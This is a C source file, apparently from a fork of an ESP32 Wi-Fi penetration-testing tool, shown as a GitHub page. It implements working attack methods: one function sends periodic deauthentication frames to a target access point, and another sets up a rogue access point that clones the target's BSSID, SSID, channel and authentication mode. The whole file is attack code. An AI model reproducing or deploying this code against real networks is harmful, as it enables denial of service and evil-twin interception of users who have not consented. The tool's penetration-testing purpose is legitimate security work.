forked from risinek/esp32-wifi-penetration-tool
-
Notifications
You must be signed in to change notification settings - Fork 0
/
attack_method.c
71 lines (64 loc) · 2.06 KB
/
attack_method.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/**
* @file attack_method.c
* @author risinek ([email protected])
* @date 2021-04-07
* @copyright Copyright (c) 2021
*
* @brief Implements common methods for various attacks
*/
#include "attack_method.h"
#include <string.h>
#define LOG_LOCAL_LEVEL ESP_LOG_VERBOSE
#include "esp_log.h"
#include "esp_err.h"
#include "esp_timer.h"
#include "esp_wifi_types.h"
#include "wifi_controller.h"
#include "wsl_bypasser.h"
static const char *TAG = "main:attack_method";
static esp_timer_handle_t deauth_timer_handle;
/**
* @brief Callback for periodic deauthentication frame timer
*
* Periodicaly called to send deauthentication frame for given AP
*
* @param arg expects wifi_ap_record_t
*/
static void timer_send_deauth_frame(void *arg){
wsl_bypasser_send_deauth_frame((wifi_ap_record_t *) arg);
}
/**
* @details Starts periodic timer for sending deauthentication frame via timer_send_deauth_frame().
*/
void attack_method_broadcast(const wifi_ap_record_t *ap_record, unsigned period_sec){
const esp_timer_create_args_t deauth_timer_args = {
.callback = &timer_send_deauth_frame,
.arg = (void *) ap_record
};
ESP_ERROR_CHECK(esp_timer_create(&deauth_timer_args, &deauth_timer_handle));
ESP_ERROR_CHECK(esp_timer_start_periodic(deauth_timer_handle, period_sec * 1000000));
}
void attack_method_broadcast_stop(){
ESP_ERROR_CHECK(esp_timer_stop(deauth_timer_handle));
esp_timer_delete(deauth_timer_handle);
}
/**
* @note BSSID is MAC address of APs Wi-Fi interface
*
* @param ap_record target AP that will be cloned/duplicated
*/
void attack_method_rogueap(const wifi_ap_record_t *ap_record){
ESP_LOGD(TAG, "Configuring Rogue AP");
wifictl_set_ap_mac(ap_record->bssid);
wifi_config_t ap_config = {
.ap = {
.ssid_len = strlen((char *)ap_record->ssid),
.channel = ap_record->primary,
.authmode = ap_record->authmode,
.password = "dummypassword",
.max_connection = 1
},
};
mempcpy(ap_config.sta.ssid, ap_record->ssid, 32);
wifictl_ap_start(&ap_config);
}